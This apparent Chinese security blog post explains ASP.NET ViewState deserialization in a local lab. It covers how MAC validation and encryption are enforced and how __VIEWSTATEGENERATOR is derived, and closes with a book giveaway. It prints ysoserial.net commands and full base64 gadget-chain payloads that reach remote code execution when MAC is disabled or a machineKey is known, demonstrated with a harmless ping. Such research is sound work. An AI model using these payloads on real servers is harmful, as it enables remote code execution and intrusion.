长亭百川云 - 文章详情

文末赠书|ViewState学习

ChaBug

68

2024-07-13

文末正版好书赠送《企业信息安全建设与运维指南》活动5本,值得拥有,等你参与哦!

认识ViewState

使用vs2019创建一个新的项目

image.png

image.png

有一个默认的Default.aspx

image.png

其中form表单有 runat="server" 属性,然后页面中生成了 __VIEWSTATE 和 __VIEWSTATEGENERATOR 两个隐藏字段。

image.png

使用ViewStateDecoder[1]解密内容

image.png

看过我之前文章的人应该知道这一串/wEPDwULLTE2MTY2ODcyMjlkZPANhFrc/D/zynboI58b9RD9UhX7OF4/2ILmVw2Vu7d2是由losFormatter序列化二进制数据然后base64的字符串

image.png

反序列化回来可知其本质是一组System.Web.UI.Pair对象。我们可以在代码中向viewstate中添加键值来保存一些对象。

比如Default.aspx.cs

`using System;``using System.Collections.Generic;``using System.Web;``using System.Web.UI;``using System.Web.UI.WebControls;``   ``public partial class _Default : System.Web.UI.Page` `{`    `protected void Page_Load(object sender, EventArgs e)``{`        `ViewState.Add("asd", "asd");`    `}``}`

此时viewstate值为 /wEPDwULLTE2MTY2ODcyMjkPFgIeA2FzZAUDYXNkZGRE3e84k6pb/oXbu/72ZxNc9h9dcEj+8FXmWEbtzuCtkQ==

image.png

也正是因为viewstate可以被任何人拿过来反序列化拿到其中的敏感信息,甚至可以直接传递恶意的viewstate进行反序列化rce(这个放后面演示),所以losformatter被弃用而转由ObjectStateFormatter代替。ObjectStateFormatter的作用就在于对viewstate进行加密,并校验签名防篡改。

viewstate的加密和防篡改

在dotnet2.0中,aspx的Page标签,或者web.config中都可以对viewstate进行加密,关键取决于以下两个值

1.ViewStateEncryptionMode="Always"2.EnableViewStateMac="true"

ViewStateEncryptionMode是一个枚举,三个选项值就不解释了。

image.png

单独加密并不能解决篡改的问题,需要EnableViewStateMac来保证数据完整性。

当在aspx页面中启用ViewStateEncryptionMode="Always"时viewstate随之加密。

image.png

而对于EnableViewStateMac

从.NET 4.5.2 开始,强制启用ViewStateMac功能,也就是说即使你将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。安全公告KB2905247(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET 设置为忽略EbableViewStateMac设置。

他的值取决于web.config中的一个键值和一个注册表的值,以及page自身的EnableViewStateMac。

在ObjectStateFormatter.Deserialize()中

image.png

array数组取决于是否启用EnableViewStateMac

image.png

这个属性又取决于EnableViewStateMacRegistryHelper类,在他的构造函数中

image.png

断点的地方从注册表中读取一个值,如果为不等于0,则返回true

image.png

也就是不为0时,强制执行

`if (flag)``{`    `EnableViewStateMacRegistryHelper.EnforceViewStateMac = true;`    `EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks = true;``}`

将EnforceViewStateMac设置为true

另一个if条件是

`if (AppSettings.AllowInsecureDeserialization != null)``{`    `EnableViewStateMacRegistryHelper.EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value;`    `EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value;``}`

对AllowInsecureDeserialization取反,AllowInsecureDeserialization这个值在web.config中可以配置。

`<configuration>`  `<appSettings>`    `<add key="aspnet:AllowInsecureDeserialization" value="true"/>`  `</appSettings>``</configuration>`

而只有这两个值最起码要启用一个才能强制关闭EnforceViewStateMac,比如下图。

image.png

虽然page里赋值为false,但是因为注册表中没有禁用mac,在web.config中也没禁用web.config,所以即使在page中禁用mac,通过反射输出的值仍为true,此时仍然是启用了mac校验的。

`<%`    `System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty("EnableViewStateMac", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);`    `object v = propertyInfo.GetValue(Page, new object[] { });`    `Response.Write(propertyInfo.Name + ":" + v + "<br>");`    `Response.Write(Environment.Version.ToString(3));``%>`

把注册表改为0,重启IIS,此时就能禁用mac验证了。

image.png

禁用mac时的利用

当禁用mac时并且没有启用加密时,我们可以直接用LosFormatter生成payload打过去。

`PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f losformatter -g SessionViewStateHistoryItem -c "ping localhost -t"``/wEyqQsAAQAAAP////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAA3Akvd0V5bmdjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBREFCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdjR2x1WnlCc2IyTmhiR2h2YzNRZ0xYUWlJRk4wWVc1a1lYSmtSWEp5YjNKRmJtTnZaR2x1WnowaWUzZzZUblZzYkgwaUlGTjBZVzVrWVhKa1QzVjBjSFYwUlc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVmMyVnlUbUZ0WlQwaUlpQlFZWE56ZDI5eVpEMGllM2c2VG5Wc2JIMGlJRVJ2YldGcGJqMGlJaUJNYjJGa1ZYTmxjbEJ5YjJacGJHVTlJa1poYkhObElpQkdhV3hsVG1GdFpUMGlZMjFrSWlBdlBnMEtJQ0FnSUNBZ1BDOXpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQThMM05rT2xCeWIyTmxjM00rRFFvZ0lEd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlMazlpYW1WamRFbHVjM1JoYm1ObFBnMEtQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEkrQ3c9PQs=`

image.png

这里爆出了TextFormattingRunProperties的错误,说明执行了命令

image.png

在传递__VIEWSTATE参数时发现是直接GET传参,其实POST传参也行,为什么直接传递参数就会被解析?是因为在Page中还有一个EnableViewState="false"的属性。

`<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" EnableViewState="true" EnableViewStateMac="false" %>``   ``<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">``   ``<html xmlns="http://www.w3.org/1999/xhtml">``<head runat="server">`    `<title></title>``</head>``<body>`    `<form id="form1" runat="server">`        `<div>`            `<%`                `System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty("EnableViewStateMac", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);`                `object v = propertyInfo.GetValue(Page, new object[] { });`                `Response.Write(propertyInfo.Name + ":" + v + "<br>");`                `Response.Write(Environment.Version.ToString(3));`                `ViewState.Add("asd", "asd");`            `%>`        `</div>`    `</form>``</body>``</html>`

当 EnableViewState="true" 时,__VIEWSTATE为 /wEPDwUKLTg0NTYxMzIxNQ8WAh4DYXNkBQNhc2RkZA==

false时,__VIEWSTATE为 /wEPDwUKLTg0NTYxMzIxNWRk

区别在于禁用ViewState之后ViewState只是变短了而已,但是这个字段仍然存在,所以viewstate仍会被IIS被动解析。

Page类有一个RequestViewStateString属性

image.png

从request中拿到__VIEWSTATE

image.png

System.Web.dll!System.Web.UI.HiddenFieldPageStatePersister.Load()中获取__VIEWSTATE,交给objectstateformatter进行反序列化。所以请求中只要有__VIEWSTATE就会反序列化。

到这里我们清楚了,iis默认被动解析viewstate,如果禁用mac并且没有启用加密可以直接rce。但是实际环境都是默认启用mac校验,并且一般会启用加密,所以接下来看一下启用加密的viewstate怎么利用。

启用加密的利用

启用加密需要配置machineKey字段,page中ViewStateEncryptionMode="Always"时会自动生成machineKey。

微软文档中[2]提到在web.config中可以配置如下来自动生成machineKey。web.config中默认就是这个,效果等同于不写。

`<machineKey ``   validationKey="AutoGenerate,IsolateApps"  ``   decryptionKey="AutoGenerate,IsolateApps"  ``   validation="AES"  ``  decryption="Auto" />`

viewstate用于身份验证的情况下,每次都会根据machineKey的配置来加密解密。而每台机器生成的key都不一样,所以在大型应用比如sharepoint中会进行手动配置machineKey。而手动配置如果我们拿到了machineKey的值,就可以对其利用。

一个手动配置的例子如下

<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

用ysoserial.net生成

`PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p viewstate -g TextFormattingRunProperties -c "ping localhost -t" --validationkey=70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0 --validationalg=SHA1 --islegacy``   ``/wEyngcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADABTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgcGluZyBsb2NhbGhvc3QgLXQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+C+yvvPy4DNhXXbZoH56OR6lLdT4o`

将IIS的应用程序池设置为.net4.5,不然会报错找不到TextFormattingRunProperties的依赖

image.png

这边报错强制类型转换错误

image.png

实际上是已经执行了cmd的

image.png

__VIEWSTATEGENERATOR字段

大腿师傅问我VIEWSTATEGENERATOR字段对上的话,machineKey是不是一样。以及__VIEWSTATEGENERATOR是不是根据path和apppath生成的。

在objectstateformatter的反序列化方法中,启用加密会进入GetDecodedData解密viewstate

image.png

其参数有一个GetMacKeyModifier()方法的返回值

image.png

它返回一个字节数组,其中GetClientStateIdentifier来用TemplateSourceDirectory和classname计算hashcode

image.png

接着判断viewStateUserKey是否为空,如果不为空就使用_page.ViewStateUserKey,为空就用GetClientStateIdentifier()生成的。

也能用VIEWSTATEGENERATOR字段,因为VIEWSTATEGENERATOR字段就是用GetClientStateIdentifier计算的。

image.png

回到大腿师傅的问题,我个人结论是__VIEWSTATEGENERATOR和machineKey没有关系。

本地实验两个不同的machineKey,__VIEWSTATEGENERATOR一致

image.png

而当machineKey相同,文件名和类名不同时,__VIEWSTATEGENERATOR不一致

image.png

原因就是GetClientStateIdentifier生成__VIEWSTATEGENERATOR是依据TemplateSourceDirectory和classname,而并非machineKey。

另外ysoserial.net中viewstate插件有apppath和path参数,这两个参数就是用来计算VIEWSTATEGENERATOR的值,如果页面源代码里没有VIEWSTATEGENERATOR,可以使用这两个参数来计算。

赠书环节

推荐语:

(1)系统全面,讲述企业信息安全建设从0到1的全部过程。本书聚焦安全体系如何落地,从安全体系规划、方案设计、产品选型、产品开发、部署实施、日常运维等维度详细阐释,内容覆盖办公安全、IDC安全、产品安全、数据安全、安全管理、安全自动化系统开发和业务安全体系建设,基本满足大多数中小企业的安全建设需求。

(2)结合作者实践经验,可操作性强。笔者有十多年信息安全从业经验,曾任职于国内知名网络安全厂商,为数十家企业和各类单位提供安全咨询和专业服务,熟悉企业的安全需求和痛点,本书将作者的实际工作经验总结为案例,具体实用。

(3)分析具体,深入浅出,易于理解。本书从与日常的生活与工作息息相关的安全问题着手,由浅入深循序渐进,讲解信息安全建设过程中的注意事项,便于读者理解安全架构的原理,进而使安全系统建设更加完备。

哇!小编也好想来一本,快点击下方抽奖吧!(转发朋友圈,开奖前取消作废)

参考

1.https://www.cnblogs.com/edisonchou/p/3901559.html2.https://paper.seebug.org/1386/3.https://github.com/0xacb/viewgen

References

[1] ViewStateDecoder: https://github.com/raise-isayan/ViewStateDecoder/tree/master/release
[2] 微软文档中: https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff649308(v=pandp.10)?redirectedfrom=MSDN

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2